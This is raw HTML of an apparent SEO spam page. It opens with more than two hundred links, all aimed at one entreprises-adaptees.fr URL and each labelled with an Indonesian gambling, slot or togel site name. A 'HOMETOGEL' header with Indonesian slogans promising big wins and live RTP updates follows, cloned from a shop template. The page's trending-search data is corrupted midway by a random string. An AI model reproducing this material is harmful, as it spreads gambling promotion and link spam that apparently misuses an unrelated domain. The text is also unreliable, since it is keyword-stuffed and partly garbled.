  <a href="https://entreprises-adaptees.fr/rse">ROYAL777</a>
  <a href="https://entreprises-adaptees.fr/rse">zeus 69slot</a>
  <a href="https://entreprises-adaptees.fr/rse">SUMBERJP99</a>
  <a href="https://entreprises-adaptees.fr/rse">aha4d</a>
  <a href="https://entreprises-adaptees.fr/rse">bocoran4d</a>
  <a href="https://entreprises-adaptees.fr/rse">rekor777</a>
  <a href="https://entreprises-adaptees.fr/rse">istanabola</a>
  <a href="https://entreprises-adaptees.fr/rse">pascolslot</a>
  <a href="https://entreprises-adaptees.fr/rse">77maxwin</a>
  <a href="https://entreprises-adaptees.fr/rse">PANEN188 LOGIN</a>
  <a href="https://entreprises-adaptees.fr/rse">pokerone</a>
  <a href="https://entreprises-adaptees.fr/rse">CRYSTALTOTO</a>
  <a href="https://entreprises-adaptees.fr/rse">LOGOTOTO</a>
  <a href="https://entreprises-adaptees.fr/rse">demo pyramid</a>
  <a href="https://entreprises-adaptees.fr/rse">copacobana99</a>
  <a href="https://entreprises-adaptees.fr/rse">wishbet</a>
  <a href="https://entreprises-adaptees.fr/rse">365rajaslot</a>
  <a href="https://entreprises-adaptees.fr/rse">halo138</a>
  <a href="https://entreprises-adaptees.fr/rse">PASTISLOT</a>
  <a href="https://entreprises-adaptees.fr/rse">mojok34</a>
  <a href="https://entreprises-adaptees.fr/rse">jabartoto</a>
  <a href="https://entreprises-adaptees.fr/rse">indovegas4d</a>
  <a href="https://entreprises-adaptees.fr/rse">vivo4d</a>
  <a href="https://entreprises-adaptees.fr/rse">nagitatogel</a>
  <a href="https://entreprises-adaptees.fr/rse">MAXWIN99</a>
  <a href="https://entreprises-adaptees.fr/rse">99macanslot</a>
  <a href="https://entreprises-adaptees.fr/rse">gospin138</a>
  <a href="https://entreprises-adaptees.fr/rse">gengmpo</a>
  <a href="https://entreprises-adaptees.fr/rse">demo247</a>
  <a href="https://entreprises-adaptees.fr/rse">juragan189</a>
  <a href="https://entreprises-adaptees.fr/rse">mpo444</a>
  <a href="https://entreprises-adaptees.fr/rse">dwlive88</a>
  <a href="https://entreprises-adaptees.fr/rse">mpoas</a>
  <a href="https://entreprises-adaptees.fr/rse">purislo</a>
  <a href="https://entreprises-adaptees.fr/rse">raja dominoslot</a>
  <a href="https://entreprises-adaptees.fr/rse">ceria123</a>
  <a href="https://entreprises-adaptees.fr/rse">vobbet</a>
  <a href="https://entreprises-adaptees.fr/rse">harum88</a>
  <a href="https://entreprises-adaptees.fr/rse">aplikasi slot</a>
  <a href="https://entreprises-adaptees.fr/rse">sensasi777</a>
  <a href="https://entreprises-adaptees.fr/rse">rempahtoto</a>
  <a href="https://entreprises-adaptees.fr/rse">sbospin</a>
  <a href="https://entreprises-adaptees.fr/rse">senja138</a>
  <a href="https://entreprises-adaptees.fr/rse">olympus33</a>
  <a href="https://entreprises-adaptees.fr/rse">mpo22</a>
  <a href="https://entreprises-adaptees.fr/rse">liganationz</a>
  <a href="https://entreprises-adaptees.fr/rse">rajajudi33</a>
  <a href="https://entreprises-adaptees.fr/rse">gacorvegas</a>
  <a href="https://entreprises-adaptees.fr/rse">asia303</a>
  <a href="https://entreprises-adaptees.fr/rse">TURNAMENTSLOT</a>
  <a href="https://entreprises-adaptees.fr/rse">mesin18</a>
  <a href="https://entreprises-adaptees.fr/rse">RTP800</a>
  <a href="https://entreprises-adaptees.fr/rse">viabola betslot</a>
  <a href="https://entreprises-adaptees.fr/rse">TIGER888</a>
  <a href="https://entreprises-adaptees.fr/rse">66kslot</a>
  <a href="https://entreprises-adaptees.fr/rse">pubgtoto</a>
  <a href="https://entreprises-adaptees.fr/rse">bk8</a>
  <a href="https://entreprises-adaptees.fr/rse">vip rajaslot</a>
  <a href="https://entreprises-adaptees.fr/rse">mimpi4dslot</a>
  <a href="https://entreprises-adaptees.fr/rse">exabet88</a>
  <a href="https://entreprises-adaptees.fr/rse">SERVERTOGEL</a>
  <a href="https://entreprises-adaptees.fr/rse">bandungtogel</a>
  <a href="https://entreprises-adaptees.fr/rse">kw303</a>
  <a href="https://entreprises-adaptees.fr/rse">net303slot</a>
  <a href="https://entreprises-adaptees.fr/rse">ahlislot</a>
  <a href="https://entreprises-adaptees.fr/rse">indoxl</a>
  <a href="https://entreprises-adaptees.fr/rse">dadu13</a>
  <a href="https://entreprises-adaptees.fr/rse">tresnototo</a>
  <a href="https://entreprises-adaptees.fr/rse">pesonatoto</a>
  <a href="https://entreprises-adaptees.fr/rse">sdyslot</a>
  <a href="https://entreprises-adaptees.fr/rse">badut69</a>
  <a href="https://entreprises-adaptees.fr/rse">jaguar4d</a>
  <a href="https://entreprises-adaptees.fr/rse">dki188</a>
  <a href="https://entreprises-adaptees.fr/rse">rtvharmonibet</a>
  <a href="https://entreprises-adaptees.fr/rse">indo168</a>
  <a href="https://entreprises-adaptees.fr/rse">langit betslot</a>
  <a href="https://entreprises-adaptees.fr/rse">olo4dslot</a>
  <a href="https://entreprises-adaptees.fr/rse">gudangqq</a>
  <a href="https://entreprises-adaptees.fr/rse">gojekpot</a>
  <a href="https://entreprises-adaptees.fr/rse">bayar77</a>
  <a href="https://entreprises-adaptees.fr/rse">barajitu</a>
  <a href="https://entreprises-adaptees.fr/rse">bts138</a>
  <a href="https://entreprises-adaptees.fr/rse">pokerhoya</a>
  <a href="https://entreprises-adaptees.fr/rse">pondok969 id</a>
  <a href="https://entreprises-adaptees.fr/rse">hypebetcash</a>
  <a href="https://entreprises-adaptees.fr/rse">pragmatic178</a>
  <a href="https://entreprises-adaptees.fr/rse">royal betslot</a>
  <a href="https://entreprises-adaptees.fr/rse">matrixslot</a>
  <a href="https://entreprises-adaptees.fr/rse">shopeepay</a>
  <a href="https://entreprises-adaptees.fr/rse">SURGA77</a>
  <a href="https://entreprises-adaptees.fr/rse">betkaisar888</a>
  <a href="https://entreprises-adaptees.fr/rse">cyberslot888</a>
  <a href="https://entreprises-adaptees.fr/rse">DUBAI88</a>
  <a href="https://entreprises-adaptees.fr/rse">natuna4d</a>
  <a href="https://entreprises-adaptees.fr/rse">joker188slot</a>
  <a href="https://entreprises-adaptees.fr/rse">cicislot4d</a>
  <a href="https://entreprises-adaptees.fr/rse">scatter gold</a>
  <a href="https://entreprises-adaptees.fr/rse">mokaslot</a>
  <a href="https://entreprises-adaptees.fr/rse">PANCINGTOTO</a>
  <a href="https://entreprises-adaptees.fr/rse">oppaslot4d</a>
  <a href="https://entreprises-adaptees.fr/rse">lampuslot4d</a>
  <a href="https://entreprises-adaptees.fr/rse">komo poker</a>
  <a href="https://entreprises-adaptees.fr/rse">kumpulan situs</a>
  <a href="https://entreprises-adaptees.fr/rse">omutogel</a>
  <a href="https://entreprises-adaptees.fr/rse">lj9696</a>
  <a href="https://entreprises-adaptees.fr/rse">betonklik</a>
  <a href="https://entreprises-adaptees.fr/rse">mposlot88</a>
  <a href="https://entreprises-adaptees.fr/rse">gboslot</a>
  <a href="https://entreprises-adaptees.fr/rse">demo santa</a>
  <a href="https://entreprises-adaptees.fr/rse">receh168</a>
  <a href="https://entreprises-adaptees.fr/rse">PASTIGACOR</a>
  <a href="https://entreprises-adaptees.fr/rse">pasarbett</a>
  <a href="https://entreprises-adaptees.fr/rse">togelsumogacor</a>
  <a href="https://entreprises-adaptees.fr/rse">warga789</a>
  <a href="https://entreprises-adaptees.fr/rse">lapakbonus</a>
  <a href="https://entreprises-adaptees.fr/rse">asiawin88</a>
  <a href="https://entreprises-adaptees.fr/rse">hanabi188</a>
  <a href="https://entreprises-adaptees.fr/rse">pusat777</a>
  <a href="https://entreprises-adaptees.fr/rse">bookiepalace</a>
  <a href="https://entreprises-adaptees.fr/rse">wisnu96</a>
  <a href="https://entreprises-adaptees.fr/rse">ASIABET138</a>
  <a href="https://entreprises-adaptees.fr/rse">sultan86</a>
  <a href="https://entreprises-adaptees.fr/rse">danauhoki88</a>
  <a href="https://entreprises-adaptees.fr/rse">puncak 138slot</a>
  <a href="https://entreprises-adaptees.fr/rse">bigklikslot</a>
  <a href="https://entreprises-adaptees.fr/rse">casaprize</a>
  <a href="https://entreprises-adaptees.fr/rse">lapakmpo</a>
  <a href="https://entreprises-adaptees.fr/rse">hondaslot</a>
  <a href="https://entreprises-adaptees.fr/rse">golden777</a>
  <a href="https://entreprises-adaptees.fr/rse">dewilotre</a>
  <a href="https://entreprises-adaptees.fr/rse">jepe69</a>
  <a href="https://entreprises-adaptees.fr/rse">pensil88</a>
  <a href="https://entreprises-adaptees.fr/rse">ceria138</a>
  <a href="https://entreprises-adaptees.fr/rse">gamatogel</a>
  <a href="https://entreprises-adaptees.fr/rse">sumbawatoto</a>
  <a href="https://entreprises-adaptees.fr/rse">elang988</a>
  <a href="https://entreprises-adaptees.fr/rse">junket88</a>
  <a href="https://entreprises-adaptees.fr/rse">lgoindoslot</a>
  <a href="https://entreprises-adaptees.fr/rse">maxwin33</a>
  <a href="https://entreprises-adaptees.fr/rse">togelsloto</a>
  <a href="https://entreprises-adaptees.fr/rse">sini188</a>
  <a href="https://entreprises-adaptees.fr/rse">pastislot</a>
  <a href="https://entreprises-adaptees.fr/rse">138SLOT</a>
  <a href="https://entreprises-adaptees.fr/rse">CIU69</a>
  <a href="https://entreprises-adaptees.fr/rse">bintang 4dp</a>
  <a href="https://entreprises-adaptees.fr/rse">jalatoto</a>
  <a href="https://entreprises-adaptees.fr/rse">partai77</a>
  <a href="https://entreprises-adaptees.fr/rse">bso88</a>
  <a href="https://entreprises-adaptees.fr/rse">pro88</a>
  <a href="https://entreprises-adaptees.fr/rse">togel pyongyang</a>
  <a href="https://entreprises-adaptees.fr/rse">joki188</a>
  <a href="https://entreprises-adaptees.fr/rse">aston88</a>
  <a href="https://entreprises-adaptees.fr/rse">varioslot138</a>
  <a href="https://entreprises-adaptees.fr/rse">slot medusa</a>
  <a href="https://entreprises-adaptees.fr/rse">apriltoto</a>
  <a href="https://entreprises-adaptees.fr/rse">dakota76</a>
  <a href="https://entreprises-adaptees.fr/rse">btn4d</a>
  <a href="https://entreprises-adaptees.fr/rse">araslot</a>
  <a href="https://entreprises-adaptees.fr/rse">KOIN77</a>
  <a href="https://entreprises-adaptees.fr/rse">vartoto</a>
  <a href="https://entreprises-adaptees.fr/rse">makwin138</a>
  <a href="https://entreprises-adaptees.fr/rse">gading69</a>
  <a href="https://entreprises-adaptees.fr/rse">hobi77</a>
  <a href="https://entreprises-adaptees.fr/rse">sahgacor</a>
  <a href="https://entreprises-adaptees.fr/rse">saranaidr</a>
  <a href="https://entreprises-adaptees.fr/rse">qq999get</a>
  <a href="https://entreprises-adaptees.fr/rse">mutubet88</a>
  <a href="https://entreprises-adaptees.fr/rse">ggbook</a>
  <a href="https://entreprises-adaptees.fr/rse">twslive</a>
  <a href="https://entreprises-adaptees.fr/rse">888GARUDA</a>
  <a href="https://entreprises-adaptees.fr/rse">happybet188</a>
  <a href="https://entreprises-adaptees.fr/rse">kita178</a>
  <a href="https://entreprises-adaptees.fr/rse">joswd805</a>
  <a href="https://entreprises-adaptees.fr/rse">yordania4d</a>
  <a href="https://entreprises-adaptees.fr/rse">apibetslot</a>
  <a href="https://entreprises-adaptees.fr/rse">yupitoto</a>
  <a href="https://entreprises-adaptees.fr/rse">MAKMUR88</a>
  <a href="https://entreprises-adaptees.fr/rse">senyum777</a>
  <a href="https://entreprises-adaptees.fr/rse">bandarnalo</a>
  <a href="https://entreprises-adaptees.fr/rse">bir123</a>
  <a href="https://entreprises-adaptees.fr/rse">kakek zeus</a>
  <a href="https://entreprises-adaptees.fr/rse">MASHOKI</a>
  <a href="https://entreprises-adaptees.fr/rse">royalslot188</a>
  <a href="https://entreprises-adaptees.fr/rse">kuota4d</a>
  <a href="https://entreprises-adaptees.fr/rse">uni4d</a>
  <a href="https://entreprises-adaptees.fr/rse">aturan parlay</a>
  <a href="https://entreprises-adaptees.fr/rse">ntoto</a>
  <a href="https://entreprises-adaptees.fr/rse">lagu gilaslot</a>
  <a href="https://entreprises-adaptees.fr/rse">yokubet</a>
  <a href="https://entreprises-adaptees.fr/rse">freechip123</a>
  <a href="https://entreprises-adaptees.fr/rse">uvo777</a>
  <a href="https://entreprises-adaptees.fr/rse">judi kartu</a>
  <a href="https://entreprises-adaptees.fr/rse">helompo1</a>
  <a href="https://entreprises-adaptees.fr/rse">pandawa777</a>
  <a href="https://entreprises-adaptees.fr/rse">qqtix</a>
  <a href="https://entreprises-adaptees.fr/rse">178togel</a>
  <a href="https://entreprises-adaptees.fr/rse">RUPIAHTOTO</a>
  <a href="https://entreprises-adaptees.fr/rse">keluaran artemis</a>
  <a href="https://entreprises-adaptees.fr/rse">bociltoto</a>
  <a href="https://entreprises-adaptees.fr/rse">birutotoid</a>
  <a href="https://entreprises-adaptees.fr/rse">roma777</a>
  <a href="https://entreprises-adaptees.fr/rse">sultanspin</a>
  <a href="https://entreprises-adaptees.fr/rse">sdomino99slot</a>
  <a href="https://entreprises-adaptees.fr/rse">DEWAMPO</a>
  <a href="https://entreprises-adaptees.fr/rse">walipoker</a>
  <a href="https://entreprises-adaptees.fr/rse">TEKTOK4D</a>
  <a href="https://entreprises-adaptees.fr/rse">rumahslot888</a>
  <a href="https://entreprises-adaptees.fr/rse">togelku88</a>
  <a href="https://entreprises-adaptees.fr/rse">rajakoin99</a>
  <a href="https://entreprises-adaptees.fr/rse">ritogel</a>
  <a href="https://entreprises-adaptees.fr/rse">6songo</a>
  <a href="https://entreprises-adaptees.fr/rse">aloybet77</a>
  <a href="https://entreprises-adaptees.fr/rse">TIGERBET888</a>
  <a href="https://entreprises-adaptees.fr/rse">totomartslot</a>
  <a href="https://entreprises-adaptees.fr/rse">makmur4d</a>
  <a href="https://entreprises-adaptees.fr/rse">gacor500x</a>
  <a href="https://entreprises-adaptees.fr/rse">zeus 138slot</a>
  <a href="https://entreprises-adaptees.fr/rse">target88</a>
</div>
  </div>
  <header class="vc-header jsHead" data-controller="rudderstack--link-clicked navigation--header navigation--tray-trigger sticky-header" data-rudderstack--link-clicked-location-value="nav-main" data-navigation--header-target="header" data-navigation--tray-trigger-containers--drawer-component-outlet=".jsHeaderTray" data-navigation--tray-trigger-navigation--cart-outlet=".jsCartTray" data-action="showElement@document-&gt;sticky-header#showHeader" data-sticky-header-containers--banner-outlet=".containers--banner" data-sticky-header-rendering-rails-ctrl-value="product_pages">
   
   <div class="vc-header-logo">
    <a aria-label="Home Link" title="Home" href="https://entreprises-adaptees.fr/rse" class="link vc-header-logo__wrapper link--1 link--default">
     <span class='link__content'>
      <div class="header-mini__logo" bis_skin_checked="1">
       <a href="https://entreprises-adaptees.fr/rse">
        <img alt="SITUS HOMETOGEL" src="https://imagekuart.b-cdn.net/assetsmaya/logomaya.png" style="height:100px; width:200px; display:">
       </a>
      </div>
     </span>
    </a>
    <div class='vc-header-logo__content'></div>
   </div>
   <div class='vc-header__search-container'>
    <div class='m-header__search m-header__search--animate jsHeadSearch inactive' data-navigation--header-target='searchFieldWrapper' data-sticky-header-target='searchRow'>
     <form id="search_form" class="jsHeadSearchForm gtmSearchHeader input-group" action="https://entreprises-adaptees.fr/rse" accept-charset="UTF-8" method="post">
      <input type="hidden" name="_method" value="patch" autocomplete="off" />
      <input type="hidden" name="authenticity_token" value="8vSeoYeGtlUiSjsTwv8MriSNw5KsyqV7SxcuKPWCkOHPWqc69ZHaEMWFV-CLUNdpe3IV90JnlZWjJ2U8fOsR1A" autocomplete="off" />
      <div class='m-header__search-field-container'>
       <div class='m-header__search-field-placeholder-wrapper' data-navigation--header-target='placeholderWrapper'>
        <div class='m-header__search-field-placeholder'>
         <p>Cari kami di Google : HOMETOGEL
         <p>HOMETOGEL Bedah Maxwin Lobi x entreprises-adaptees - Peta Scan Login Stabil malam ini
         <p>Depo Sedikit Jadi Bukit HOMETOGEL
         <p>Rtp Terupdate Live Setiap Hari
        </div>
       </div>
       <input type="text" name="query" id="jsAutoCompleteHeader" class="form__control m-header__search-field jsHeadSearchField gtmSearchHeaderQuery" data-searchUrl="/search/autocomplete" data-trendingSearchResults="[{&quot;result&quot;:&quot;kpop demon hunters&quot;,&quot;score&quot;:38.23},{&quot;result&quot;:&quot;weird twitter&quot;,&quot;score&quot;:18.57},{&quot;result&quot;:&quot;eagles football&quot;,&quot;score&quot;:17.06},{&quot;result&quot;:&quot;detroit lions&quot;,&quot;score&quot;:16.81},{&quot;result&quot;:&quot;i offended you&quot;,&quot;score&quot;:16.45},{&quot;result&quot;:&quot;i run a tight shipwreck&quot;,&quot;score&quot;:7.38},{&quot;result&quot;:&quot;bad bunny&quot;,&quot;score&quot;:7.13},{&quot;result&quot;:&quot;jane goodall&quot;,&quot;score&quot;:6.8},{&quot;result&quot;:&quot;bad knees&quot;,&quot;score&quot;:6.16},{&quot;result&quot;:&quot;kindness is punk&quot;,&quot;score&quot;:5.91},{&quot;result&quot;:&quot;aunt tifa&quot;,&quot;score&quot;:5.86},{&quot;result&quot;:&quot;steelers football&quot;,&quot;score&quot;:5.7},{&quot;result&quot;:&quot;eyepatch rev&quot;,&quot;score&quot;:4.9},{&quot;result&quot;:&quot;eagles&quot;,&quot;score&quot;:4.41},{&quot;result&quot;:&quot;jaxson dart&quot;,&quot;score&quot;:4.02},{&quot;result&quot;:&quot;buffalo bills&quot;,&quot;score&quot;:3.94},{&quot;result&quot;:&quot;dungeon crawler carl&quot;,&quot;score&quot;:3.89},{&quot;result&quot;:&quot;doctor who&quot;,&quot;score&quot;:3.87},{&quot;result&quot;:&quot;government shutdown&quot;,&quot;score&quot;:3.61},{&quot;result&quot;:&quot;ankylosaurus&quot;,&quot;score&quot;:3.51},{&quot;result&quot;:&quot;chicago bears&quot;,&quot;score&quot;:3.34},{&quot;result&quot;:&quot;crucial catch&quot;,&quot;score&quot;:2.9},{&quot;result&quot;:&quot;sumud flotilla&quot;,&quot;score&quot;:2.82},{&quot;result&quot;:&quot;funny hardhat&quot;,&quot;score&quot;:2.29},{&quot;result&quot;:&quot;haunted by 67&quot;,&quot;score&quot;:2.21},{&quot;result&quot;:&quot;ozzy osbourne&quot;,&quot;score&quot;:2.2},{&quot;result&quot;:&quot;buffalo bills football team&quot;,&quot;score&quot;:2.13},{&quot;result&quot;:&quot;i am aunt tifa&quot;,&quot;score&quot;:2.04},{&quot;result&quot;:&quot;the river city&quot;,&quot;score&quot;:2.0},{&quot;result&quot;:&quot;super mario&quot;,&quot;score&quot;:1.99},{&quot;result&quot;:&quot;rocky horror&quot;,&quot;score&quot;:1.99},{&quot;result&quot;:&quot;Lebaran 3&quot;,&quot;score&quot;:1.82},{&quot;result&quot;:&quot;michael jordan&quot;,&quot;score&quot;:1.81},{&quot;result&quot;:&quot;creepshow&quot;,&quot;score&quot;:1.81},{&quot;result&quot;:&quot;scott hall&quot;,&quot;score&quot;:1.8},{&quot;result&quot;:&quot;boston celtics&quot;,&quot;score&quot;:1.79},{&quot;result&quot;:&quot;3i atlas&quot;,&quot;score&quot;:1.77},{&quot;result&quot;:&quot;same shit different&quot;,&quot;score&quot;:1.7},{&quot;result&quot;:&quot;chinga la migra&quot;,&quot;score&quot;:1.62},{&quot;result&quot;:&quot;radical left&quot;,&quot;score&quot;:1.61},{&quot;result&quot;:&quot;digimon&quot;,&quot;score&quot;:1.6},{&quot;result&quot;:&quot;Lebaran cat&quot;,&quot;score&quot;:1.6},{&quot;result&quot;:&quot;tropic thunder&quot;,&quot;score&quot;:1.42},{&quot;result&quot;:&quot;no kings anti trump&quot;,&quot;score&quot;:1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo;:&quot;the life of a showgirl&quot;,&quot;score&quot;:1.4},{&quot;result&quot;:&quot;seven samurai&quot;,&quot;score&quot;:1.4},{&quot;result&quot;:&quot;do not harm authenticc since mmxx take&quot;,&quot;score&quot;:1.4},{&quot;result&quot;:&quot;acdc&quot;,&quot;score&quot;:1.4},{&quot;result&quot;:&quot;ohio state buckeyes&quot;,&quot;score&quot;:1.4},{&quot;result&quot;:&quot;borderlands&quot;,&quot;score&quot;:1.39},{&quot;result&quot;:&quot;star trek&quot;,&quot;score&quot;:1.37},{&quot;result&quot;:&quot;80s movies&quot;,&quot;score&quot;:1.29},{&quot;result&quot;:&quot;max verstappen&quot;,&quot;score&quot;:1.21},{&quot;result&quot;:&quot;robocop&quot;,&quot;score&quot;:1.21},{&quot;result&quot;:&quot;siempre antifascista&quot;,&quot;score&quot;:1.21},{&quot;result&quot;:&quot;pelosi funny&quot;,&quot;score&quot;:1.21},{&quot;result&quot;:&quot;pete rose&quot;,&quot;score&quot;:1.2},{&quot;result&quot;:&quot;macho man fred savage&quot;,&quot;score&quot;:1.2},{&quot;result&quot;:&quot;youngboy masa&quot;,&quot;score&quot;:1.2},{&quot;result&quot;:&quot;dirty dancing&quot;,&quot;score&quot;:1.2},{&quot;result&quot;:&quot;las vegas aces&quot;,&quot;score&quot;:1.2},{&quot;result&quot;:&quot;syracuse&quot;,&quot;score&quot;:1.2},{&quot;result&quot;:&quot;war games&quot;,&quot;score&quot;:1.2},{&quot;result&quot;:&quot;johnny cash&quot;,&quot;score&quot;:1.2},{&quot;result&quot;:&quot;surfing&quot;,&quot;score&quot;:1.19},{&quot;result&quot;:&quot;steelers ireland&quot;,&quot;score&quot;:1.19},{&quot;result&quot;:&quot;iron man&quot;,&quot;score&quot;:1.19},{&quot;result&quot;:&quot;attack on titan&quot;,&quot;score&quot;:1.18},{&quot;result&quot;:&quot;michael myers&quot;,&quot;score&quot;:1.13},{&quot;result&quot;:&quot;resident evil&quot;,&quot;score&quot;:1.1},{&quot;result&quot;:&quot;wait what&quot;,&quot;score&quot;:1.05},{&quot;result&quot;:&quot;wkrp in cincinnati&quot;,&quot;score&quot;:1.01},{&quot;result&quot;:&quot;dodgers baseball&quot;,&quot;score&quot;:1.01},{&quot;result&quot;:&quot;cartoon network&quot;,&quot;score&quot;:1.01},{&quot;result&quot;:&quot;blue velvwt&quot;,&quot;score&quot;:1.01},{&quot;result&quot;:&quot;tombstone&quot;,&quot;score&quot;:1.01},{&quot;result&quot;:&quot;can i lick it&quot;,&quot;score&quot;:1.01},{&quot;result&quot;:&quot;contra&quot;,&quot;score&quot;:1.01},{&quot;result&quot;:&quot;george kittle&quot;,&quot;score&quot;:1.01},{&quot;result&quot;:&quot;rick and morty&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;knicks basketball&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;blondie band&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;cyberpunk edgerunners&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;drake rapper&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;benito bowl&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;battlefront 2&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;chad powers&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;slapshot&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;book lovers&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;modest mouse&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;new balance&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;sunami&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;youngboy&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;rock climbing&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;beanie&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;Lebarantown est 1998&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;dnd warlock&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;definitely not a cop&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;i love fall most of all&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;renathornton&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;retro philadelphia phillies&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;no problemo&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;weed&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;school bus driver&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;chinga tu maga&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;nj devils&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;sci fi&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;possum&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;replacements band&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;spite&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;political protest&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;scream&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;dad&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;red bull&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;80s tv&quot;,&quot;score&quot;:1.0},{&quot;result&quot;:&quot;pabst blue ribbon&quot;,&quot;score&quot;:0.99},{&quot;result&quot;:&quot;pittsburgh steelers&quot;,&quot;score&quot;:0.93},{&quot;result&quot;:&quot;cleveland browns&quot;,&quot;score&quot;:0.9},{&quot;result&quot;:&quot;eyepatch reveille&quot;,&quot;score&quot;:0.85},{&quot;result&quot;:&quot;rams football&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;engineer&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;road house&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;pigeon&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;lock em up&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;patsymahon&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;jesus meme&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;darmok and jalad&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;enemy within&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;unreliable narrator&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;miller high life&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;bernie parent - philadelphia blazers&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;black keys&quot;,&quot;score&quot;:0.81},{&quot;result&quot;:&quot;rhino&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;gibson guitar&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;disney land&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;oddworld&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;mike mussina in baltimore orioles&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;dressed to impress roblox&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;ryan bingham&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;emmet otter&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;zildjian cymbals&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;no you hang up&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;luigi&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;ace ventura&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;tyler thecreator&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;berserk anime&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;grandpa&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;the growlers&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;the warning&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;care bear&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;protect ya neck&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;poison&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;jason&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;fernando valenzuela&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;pulseretail&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;show business&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;trailer park&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;terry mclaurin washington scary terry&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;liliaamer1&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;9/11&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;rey mysterio&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;demon slayer inosuke&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;ally&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;german shepherd&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;game of thrones&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;lebron&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;dance&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;returns and refund&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;glacier national park montana&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;investor&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;miller lite&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;casper&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;terry funk&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;big boy&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;ny 